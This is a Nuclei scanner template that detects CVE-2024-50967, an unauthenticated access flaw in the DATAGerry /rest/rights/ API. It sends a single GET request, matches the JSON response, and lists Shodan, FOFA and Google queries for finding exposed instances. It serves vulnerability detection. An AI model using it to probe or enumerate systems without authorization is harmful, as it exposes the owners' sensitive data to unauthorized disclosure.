id: CVE-2024-50967

info:
  name: DATAGERRY - Improper Access Control
  author: s4e-io,0xByteHunter
  severity: high
  description: |
    The /rest/rights/ REST API endpoint in Becon DATAGerry through 2.2.0 contains an Incorrect Access Control vulnerability. An attacker can remotely access this endpoint without authentication, leading to unauthorized disclosure of sensitive information.
  reference:
    - https://medium.com/@0xbytehunter/my-first-cve-discovery-of-broken-access-control-in-the-datagerry-platform-7b0404f88a43
    - https://github.com/0xByteHunter/CVE-2024-50967
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50967
  classification:
    cve-id: CVE-2024-50967
    cwe-id: CWE-200
    epss-score: 0.00045
    epss-percentile: 0.17796
  metadata:
    verified: true
    max-request: 1
    vendor: becon
    product: datagerry
    shodan-query: http.title:"datagerry"
    fofa-query: title="datagerry"
    google-query: intitle:"datagerry"
  tags: cve,cve2024,datagerry,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/rights/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"response_type":'
          - '"model":'
          - '"time":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022049b314b9a00e4ac420f098ca78472a4cc44866440b05884cdea55f7367529cda022100ec76fade95740ce48396fed8da33d9e333188d25911e1d9e357b3387c85453c3:922c64590222798bb761d5b6d8e72950